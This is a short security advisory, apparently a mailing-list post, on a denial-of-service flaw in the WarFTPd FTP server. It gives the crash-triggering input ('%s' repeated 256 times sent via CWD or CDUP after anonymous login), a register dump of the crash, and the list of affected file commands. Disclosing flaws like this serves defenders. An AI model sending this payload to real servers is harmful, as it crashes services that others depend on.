WarFTPd is vulnerable to a DOS condition when passing
to various commands a long string with
two times the "%s" character(s) inside. It looks as
non exploitable as the problem crashes with
the same output at the same instruction and address
regarding or regardless of the buffer size
and the %${char} passed. Maybe another one founds it
vulnerable.
Example:
$ ftp target
(Banner)
ftp> quote user anonymous
ftp> quote pass bla
ftp> cwd %s*256
or
ftp> cdup %s*256
Server will crash as follows:
EAX 00000001
ECX 00000073
EDX 00000002
EBX 0079E890
ESP 0079E7A0
EBP 00A55A8A ASCII
"s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s(β¦more %s
characters)"
ESI 0079E7DE
EDI 0000000A
EIP 00431540 war-ftpd.00431540
00431540 8A08 MOV CL,BYTE PTR DS:[EAX]
Only one shoot is needed. Any file related operation
will crash. It was found during an ftp
fuzzing session.
The following commands found vulnerables (at least):
CWD
CDUP
DELE
NLST
LIST
SIZE
Well, any file related operation. Attached goes a
Python exploit.
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.
Joxean Koret at <<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es
LLama Gratis a cualquier PC del Mundo.
Llamadas a fijos y moviles desde 1 centimo por minuto.
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